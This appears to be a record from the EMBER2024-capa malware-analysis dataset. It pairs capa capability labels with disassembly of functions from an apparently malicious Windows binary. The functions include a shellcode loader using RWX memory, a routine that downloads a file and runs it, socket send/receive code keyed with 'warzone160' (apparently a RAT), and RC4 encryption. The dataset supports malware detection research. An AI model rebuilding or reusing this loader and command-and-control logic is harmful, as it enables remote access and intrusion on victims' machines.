joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011d1
Capabilities:
Query environment variable
Set console window title
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x2ee1afc]
mov ecx, dword [0x2ede8f4]
sub esp, 0x940
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x401284
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x2ee1afc], 0xae9
jne 0x401272
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x540]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
lea eax, [ebp - 0x940]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.colenivadehuhejewohij
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push str.tegigarihodutezajif_sijucadajenujecovixicidaxuwibowi
push str.wuvecofonagum_docayorukeyovuyure_karicigu_pexuhigenigaj_zaxiwu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x140]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push edi
call fcn.0040102f
add edi, 8
dec ebx
jne 0x4011f9
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4012ea
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x41a00b
call fcn.00419014
sub esp, 0x8b4
push esi
xor esi, esi
cmp dword [0x2ee1afc], 0x20a
push edi
jne 0x401383
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
lea eax, [ebp - 0xc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryOption]
push esi
push esi
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
push 0x929
push 0xea
mov dword [ebp - 4], esi
call fcn.004015e8
push esi
call fcn.00401c00
push esi
call fcn.00401838
push esi
push esi
push esi
call fcn.004019d2
add esp, 0x1c
or dword [ebp - 4], 0xffffffff
call fcn.004012d6
push 0x422428
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LocalAlloc
push eax
mov dword [0x2ee1af0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x2ee1aec], eax
call fcn.004012c2
push 0x40
push 0x1000
push dword [0x2ee1afc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x2ede8f4], eax
xor edi, edi
cmp edi, 0x50d3e
jge 0x4013da
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBitmapBits]
cmp edi, 0x5a8412d2
jg 0x4013eb
inc edi
cmp edi, 0x5cb12299
jl 0x4013c9
mov eax, dword [0x4212cc]
mov dword [0x2ee2eec], eax
call fcn.00401287
xor edi, edi
cmp dword [0x2ee1afc], esi
jbe 0x40142c
cmp dword [0x2ee1afc], 0x44
jne 0x401423
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
inc edi
cmp edi, dword [0x2ee1afc]
jb 0x401404
xor edi, edi
mov eax, dword [0x2ee1afc]
add eax, edi
cmp eax, 0x5e
jne 0x401462
push esi
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push esi
lea eax, [ebp - 0x8c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
inc edi
cmp edi, 0x40c893
jl 0x40142e
call fcn.004011d1
xor eax, eax
cmp eax, 0x4f06
jne 0x401483
add dword [0x2ede8f4], 0
inc eax
cmp eax, 0x8dde13da
jb 0x401472
push 0x7b
pop edi
cmp dword [0x2ee1afc], 0xd
jne 0x40149e
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
dec edi
jne 0x40148e
call dword [0x2ede8f4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x40512e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420410]
jne 0x405138
repz ret
jmp fcn.00409996
Function at 0x40a01d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420410]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004030db
and dword [ebp - 0x14], 0
cmp dword [0x42240c], 0
mov dword [ebp - 0x18], eax
jne 0x40a0d0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a178
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a178
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42240c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422410], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422414], eax
call edi
push eax
call esi
mov dword [0x42241c], eax
test eax, eax
je 0x40a0d0
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422418], eax
mov eax, dword [0x422418]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a129
cmp dword [0x42241c], ecx
je 0x40a129
push eax
call esi
push dword [0x42241c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a129
test ebx, ebx
je 0x40a129
call edi
test eax, eax
je 0x40a120
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a120
test byte [ebp - 8], 1
jne 0x40a129
or dword [ebp + 0x10], 0x200000
jmp 0x40a15c
mov eax, dword [0x422410]
cmp eax, dword [ebp - 0x18]
je 0x40a15c
push eax
call esi
test eax, eax
je 0x40a15c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a15c
mov eax, dword [0x422414]
cmp eax, dword [ebp - 0x18]
je 0x40a15c
push eax
call esi
test eax, eax
je 0x40a15c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42240c]
call esi
test eax, eax
je 0x40a178
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a17a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040512e
leave
ret
Function at 0x10001f4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
pop esi
setne cl
mov eax, ecx
pop ebp
ret 8

Function at 0x10001f76
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x10001f90
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [esi], 0
pop esi
ret

Function at 0x10002650
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
cmp dword [edx + 4], esi
jne 0x10002683
lea eax, [edx + 8]
push eax
lea ecx, [ebp - 4]
call fcn.1000362d
push 5
push esi
push esi
push dword [ebp - 4]
push 0x10014688
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
call fcn.10005ea5
pop esi
leave
ret

Function at 0x100026c4
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax + 4]
mov esi, ecx
lea eax, [ebp + 8]
mov ecx, edx
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10005c6d
mov ecx, eax
call fcn.10003554
mov ecx, dword [ebp - 0xc]
call fcn.10005ea5
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002739
and dword [ebp - 8], 0
lea edi, [ebp - 0x2c]
push 8
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], 6
push eax
push 0
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 4]
push eax
push ebx
push esi
push ecx
call fcn.10013e0b
mov ecx, dword [ebp + 8]
call fcn.10005ea5
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100027d3
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
call fcn.1000f76b
push 0xa
pop edx
lea ecx, [ebp - 0xc]
call fcn.100034a7
push 0x10014684
lea ecx, [ebp - 8]
mov esi, eax
call fcn.1000346a
push esi
mov ecx, eax
call fcn.10003335
mov ecx, dword [ebp - 0xc]
call fcn.10005ea5
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xc]
add edi, 4
push edi
call fcn.1000362d
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0xc]
call fcn.1000351d
push eax
lea ecx, [ebp - 8]
call fcn.10003335
mov ecx, dword [ebp + 8]
call fcn.10005ea5
mov ecx, dword [ebp - 0xc]
and dword [ebp + 8], 0
call fcn.10005ea5
mov esi, dword [ebp - 8]
lea ecx, [ebp + 8]
push edi
call fcn.1000362d
xor edi, edi
push edi
push edi
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.10005ea5
test esi, esi
je 0x1000287d
mov dword [ebp - 0xc], 1
jmp 0x1000289f
push 5
push edi
push edi
push dword [ebp - 8]
push 0x10014688
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xc], 2
cmp eax, 0x20
jbe 0x1000289f
mov dword [ebp - 0xc], edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x100147d8
push eax
mov ecx, ebx
call fcn.10004f2b
mov ecx, dword [ebp - 8]
call fcn.10005ea5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100028cf
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
mov edi, edx
push 0
push ecx
mov ecx, esp
lea esi, [edi + 8]
push esi
call fcn.1000362d
lea ecx, [ebp - 0x20]
call fcn.10010203
push esi
lea ecx, [ebp - 4]
call fcn.1000362d
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.10005ea5
push ecx
test esi, esi
jne 0x1000291b
push ecx
lea ecx, [ebp - 0x20]
call fcn.100101d1
jmp 0x10002928
push 0x40000000
lea ecx, [ebp - 0x20]
call fcn.10010192
test eax, eax
je 0x10002955
lea eax, [edi + 0x14]
push eax
lea ecx, [ebp - 8]
call fcn.1000304c
push ecx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.1001013d
lea ecx, [ebp - 8]
call fcn.10003036
lea ecx, [ebp - 0x20]
call fcn.10010125
lea ecx, [ebp - 0x20]
call fcn.1000feed
pop edi
pop esi
leave
ret
Function at 0x10002cec
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x14]
push edi
mov edi, edx
call fcn.1000f93f
lea ecx, [ebp - 0x10]
call fcn.1000f80e
push 0x104
lea eax, [ebp - 0x154]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
lea ecx, [ebp - 0x154]
call fcn.10011e21
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push 0x10ad
mov ecx, eax
mov dword [ebp - 8], esi
call fcn.10011bf8
mov esi, dword [ebp - 0x14]
add esp, 4
mov ecx, esp
push dword [ebp - 0x10]
call fcn.100035e5
push ecx
mov ecx, esp
push esi
call fcn.100035e5
call fcn.1000fa1f
push eax
push dword [ebp - 8]
push ecx
mov ecx, esp
push 0x10014648
call fcn.100035e5
push ecx
mov ecx, esp
call fcn.1000fc7e
call fcn.1000fc58
push eax
call fcn.1000fbfc
push eax
call fcn.1000fa42
push eax
push 0x10e
push ecx
push ecx
mov ecx, esp
call fcn.1000fcb8
lea ecx, [ebp - 0x48]
call fcn.10004241
push eax
mov ecx, ebx
call fcn.10004f2b
lea ecx, [ebp - 0x48]
call fcn.100041ff
xor esi, esi
cmp dword [edi + 0x34], esi
je 0x10002e1f
push 0x208
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x35c]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_Vision_
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push ebx
call fcn.1000990a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10017524
push eax
mov ecx, ebx
call fcn.10004f2b
mov ecx, dword [ebp - 0x10]
call fcn.10005ea5
mov ecx, dword [ebp - 0x14]
call fcn.10005ea5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100031d4
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp - 0x400]
push esi
push edi
push 0x400
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x400]
push 0x1ff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.100035e5
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x100055a5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x100055ba
xor eax, eax
jmp 0x10005628
push str.warzone160
lea ecx, [ebp - 8]
call fcn.100033bf
push eax
lea ecx, [ebp - 0x14]
call fcn.10003003
mov ecx, dword [ebp - 8]
call fcn.10005ea5
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.1000304c
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.1000304c
lea ecx, [ebp - 0xc]
call fcn.100060aa
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.10003036
lea ecx, [ebp - 0x14]
call fcn.10003036
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1000562f
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10040
call fcn.10001190
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0xc], 0xffffffff
je 0x100057f4
push 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xea60
push eax
push 0x1006
mov esi, 0xffff
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
xor esi, esi
lea eax, [ebp - 0x1003c]
push esi
push eax
call fcn.10001052
add esp, 0xc
mov dword [ebp - 0x38], esi
lea ecx, [ebp - 8]
mov dword [ebp - 0x34], esi
push str.warzone160
call fcn.100033bf
push eax
lea ecx, [ebp - 0x30]
call fcn.10003003
mov ecx, dword [ebp - 8]
call fcn.10005ea5
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
push esi
push 0xc
lea eax, [ebp - 0x1003c]
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xc
jne 0x1000574d
push eax
lea eax, [ebp - 0x1003c]
mov dword [ebp - 0xc], esi
push eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 8], esi
call fcn.10002f91
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.1000304c
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.1000304c
lea ecx, [ebp - 0x28]
call fcn.100060aa
mov eax, dword [ebp - 0x28]
add esp, 0x10
mov eax, dword [eax + 4]
lea esi, [eax + 0xc]
test eax, eax
je 0x1000573b
cmp esi, edi
je 0x1000573b
push 0
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0x1003c]
add eax, edi
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100057cc
add edi, eax
cmp esi, edi
jne 0x10005713
lea ecx, [ebp - 0x28]
call fcn.10003036
lea ecx, [ebp - 0xc]
call fcn.10003036
jmp 0x10005756
cmp edi, 0xffffffff
je 0x100057dc
push edi
lea eax, [ebp - 0x1003c]
push eax
lea ecx, [ebp - 0x14]
call fcn.10002f91
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.1000304c
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.1000304c
lea ecx, [ebp - 0x20]
call fcn.100060aa
add esp, 0x10
lea ecx, [ebx + 0x10]
call fcn.10002fc3
push edi
push dword [ebp - 0x20]
lea ecx, [ebx + 0x10]
call fcn.10002f91
lea ecx, [ebp - 0x14]
call fcn.10002fc3
lea ecx, [ebp - 0x20]
call fcn.10002fc3
push dword [ebp + 8]
mov ecx, ebx
call fcn.10004f65
lea ecx, [ebp - 0x20]
call fcn.10003036
test edi, edi
jle 0x100057dc
xor esi, esi
jmp 0x100056a9
lea ecx, [ebp - 0x28]
call fcn.10003036
lea ecx, [ebp - 0xc]
call fcn.10003036
lea ecx, [ebp - 0x14]
call fcn.10003036
lea ecx, [ebp - 0x30]
call fcn.10003036
lea ecx, [ebp - 0x38]
call fcn.10003036
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100057fb
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push ebx
push esi
push edi
push eax
mov ebx, ecx
call fcn.10003125
mov eax, dword [ebp + 0xc]
lea ecx, [ebx + 0x1d8]
mov dword [ebx + 4], eax
call fcn.1001026f
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov dword [ebp - 0x18], 6
push eax
lea eax, [ebp - 0x24]
xor edi, edi
push eax
push 0
push dword [ebp + 8]
inc edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x100058af
mov eax, dword [ebp - 4]
push 0
push edi
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0xc], eax
cmp eax, 0xffffffff
je 0x100058af
mov eax, dword [esi + 4]
lea esi, [ebx + 0x1c8]
push 2
mov dword [ebx + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebx + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push 0x10
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100058c2
or dword [ebx + 0xc], eax
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.10005ea5
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
push dword [ebx + 0x1d8]
mov dword [ebx + 8], edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x100058b1

Function at 0x100058d3
Capabilities:
Initialize winsock library

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.100031c3
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.10010298
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x10005fa1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov eax, esi
jmp 0x10006005
inc esi
and esi, 0x800000ff
jns 0x10005fc7
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + ebx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x10005fdd
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp + 8], eax
mov al, byte [eax + ebx]
mov byte [esi + ebx], al
mov eax, dword [ebp + 8]
mov byte [eax + ebx], cl
movzx eax, byte [esi + ebx]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [eax + ebx]
xor byte [ecx], al
inc ecx
mov eax, dword [ebp + 8]
dec edi
mov dword [ebp - 4], ecx
test edi, edi
jg 0x10005fb6
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000626c
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x10007574
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.1001026f
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x100075d8
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.10005ca3
mov esi, dword [ebx]
mov edx, dword [ebp + 0xc]
add esi, edi
mov ecx, dword [ebx + 8]
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], edx
je 0x100075ee
mov edi, dword [ebp - 0x10]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x100075a2
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, ecx
setb cl
call fcn.10005ca3
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.10005ea5
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.10005ca3
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.10005ca3
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x10007674
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x1000765a
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x100075da
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.100040ea
mov ecx, dword [ebp + 8]
push eax
call fcn.10004f2b
lea ecx, [ebp - 0x4c]
call fcn.10004050
lea ecx, [ebp - 0x18]
call fcn.10003036
jmp 0x100075da